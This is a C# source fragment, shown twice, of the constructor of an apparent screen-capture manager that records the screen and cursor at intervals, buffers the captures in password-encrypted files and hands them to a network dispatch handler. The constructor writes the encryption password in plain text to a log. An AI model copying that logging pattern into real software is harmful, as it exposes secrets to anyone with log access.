} // Bit-depth /// <summary> /// Constructor /// </summary> /// <param name="fileSecurityPassword">Password to encrypt buffered files with</param> /// <param name="dispatchData">Method to handle dispatch of data over the network</param> public CaptureManager(string fileSecurityPassword, ActionCenter.ActionCenterInternalEventHandler dispatchData) { this._cursorTable = new Dictionary <Cursor, CursorType>(); this._cursorTable.Add(Cursors.AppStarting, CursorType.AppStarting); this._cursorTable.Add(Cursors.Arrow, CursorType.Arrow); this._cursorTable.Add(Cursors.Cross, CursorType.Cross); //this._cursorTable.Add(Cursors.Default, CursorType.Default); this._cursorTable.Add(Cursors.Hand, CursorType.Hand); this._cursorTable.Add(Cursors.Help, CursorType.Help); this._cursorTable.Add(Cursors.HSplit, CursorType.HSplit); this._cursorTable.Add(Cursors.IBeam, CursorType.IBeam); this._cursorTable.Add(Cursors.No, CursorType.No); this._cursorTable.Add(Cursors.NoMove2D, CursorType.NoMove2D); this._cursorTable.Add(Cursors.NoMoveHoriz, CursorType.NoMoveHoriz); this._cursorTable.Add(Cursors.NoMoveVert, CursorType.NoMoveVert); this._cursorTable.Add(Cursors.PanEast, CursorType.PanEast); this._cursorTable.Add(Cursors.PanNE, CursorType.PanNE); this._cursorTable.Add(Cursors.PanNorth, CursorType.PanNorth); this._cursorTable.Add(Cursors.PanNW, CursorType.PanNW); this._cursorTable.Add(Cursors.PanSE, CursorType.PanSE); this._cursorTable.Add(Cursors.PanSouth, CursorType.PanSouth); this._cursorTable.Add(Cursors.PanSW, CursorType.PanSW); this._cursorTable.Add(Cursors.PanWest, CursorType.PanWest); this._cursorTable.Add(Cursors.SizeAll, CursorType.SizeAll); this._cursorTable.Add(Cursors.SizeNESW, CursorType.SizeNESW); this._cursorTable.Add(Cursors.SizeNS, CursorType.SizeNS); this._cursorTable.Add(Cursors.SizeNWSE, CursorType.SizeNWSE); this._cursorTable.Add(Cursors.SizeWE, CursorType.SizeWE); this._cursorTable.Add(Cursors.UpArrow, CursorType.UpArrow); this._cursorTable.Add(Cursors.VSplit, CursorType.VSplit); this._cursorTable.Add(Cursors.WaitCursor, CursorType.WaitCursor); this._bufferedOperator = new BufferedOperator(fileSecurityPassword); this.CaptureQuantizePalette = 256; this.CaptureQuantizeDepth = 8; this.CaptureShrinkFactor = 0.4f; this.CaptureBufferCount = 10; this.CaptureInterval = 500; this._neuroLog.WriteFormat("Initialization", "Buffer Archive Password: {0}\nBuffer File Limit: {1}\nQuantization Palette: {2}\nQuantization Depth: {3}\nShrink Factor: {4}\nCapture Interval: {5}", fileSecurityPassword, this.CaptureBufferCount, this.CaptureQuantizePalette, this.CaptureQuantizeDepth, this.CaptureShrinkFactor, this.CaptureInterval); this._neuroLog.Write("Created Cursor Table"); this.DispatchData = dispatchData; this._bufferedOperator.OnComplete += new BufferedOperator.BufferedOperationCompleteHandler(cmp_OnComplete); }
/// <summary> /// Constructor /// </summary> /// <param name="fileSecurityPassword">Password to encrypt buffered files with</param> /// <param name="dispatchData">Method to handle dispatch of data over the network</param> public CaptureManager(string fileSecurityPassword, ActionCenter.ActionCenterInternalEventHandler dispatchData) { this._cursorTable = new Dictionary<Cursor, CursorType>(); this._cursorTable.Add(Cursors.AppStarting, CursorType.AppStarting); this._cursorTable.Add(Cursors.Arrow, CursorType.Arrow); this._cursorTable.Add(Cursors.Cross, CursorType.Cross); //this._cursorTable.Add(Cursors.Default, CursorType.Default); this._cursorTable.Add(Cursors.Hand, CursorType.Hand); this._cursorTable.Add(Cursors.Help, CursorType.Help); this._cursorTable.Add(Cursors.HSplit, CursorType.HSplit); this._cursorTable.Add(Cursors.IBeam, CursorType.IBeam); this._cursorTable.Add(Cursors.No, CursorType.No); this._cursorTable.Add(Cursors.NoMove2D, CursorType.NoMove2D); this._cursorTable.Add(Cursors.NoMoveHoriz, CursorType.NoMoveHoriz); this._cursorTable.Add(Cursors.NoMoveVert, CursorType.NoMoveVert); this._cursorTable.Add(Cursors.PanEast, CursorType.PanEast); this._cursorTable.Add(Cursors.PanNE, CursorType.PanNE); this._cursorTable.Add(Cursors.PanNorth, CursorType.PanNorth); this._cursorTable.Add(Cursors.PanNW, CursorType.PanNW); this._cursorTable.Add(Cursors.PanSE, CursorType.PanSE); this._cursorTable.Add(Cursors.PanSouth, CursorType.PanSouth); this._cursorTable.Add(Cursors.PanSW, CursorType.PanSW); this._cursorTable.Add(Cursors.PanWest, CursorType.PanWest); this._cursorTable.Add(Cursors.SizeAll, CursorType.SizeAll); this._cursorTable.Add(Cursors.SizeNESW, CursorType.SizeNESW); this._cursorTable.Add(Cursors.SizeNS, CursorType.SizeNS); this._cursorTable.Add(Cursors.SizeNWSE, CursorType.SizeNWSE); this._cursorTable.Add(Cursors.SizeWE, CursorType.SizeWE); this._cursorTable.Add(Cursors.UpArrow, CursorType.UpArrow); this._cursorTable.Add(Cursors.VSplit, CursorType.VSplit); this._cursorTable.Add(Cursors.WaitCursor, CursorType.WaitCursor); this._bufferedOperator = new BufferedOperator(fileSecurityPassword); this.CaptureQuantizePalette = 256; this.CaptureQuantizeDepth = 8; this.CaptureShrinkFactor = 0.4f; this.CaptureBufferCount = 10; this.CaptureInterval = 500; this._neuroLog.WriteFormat("Initialization", "Buffer Archive Password: {0}\nBuffer File Limit: {1}\nQuantization Palette: {2}\nQuantization Depth: {3}\nShrink Factor: {4}\nCapture Interval: {5}", fileSecurityPassword, this.CaptureBufferCount, this.CaptureQuantizePalette, this.CaptureQuantizeDepth, this.CaptureShrinkFactor, this.CaptureInterval); this._neuroLog.Write("Created Cursor Table"); this.DispatchData = dispatchData; this._bufferedOperator.OnComplete += new BufferedOperator.BufferedOperationCompleteHandler(cmp_OnComplete); }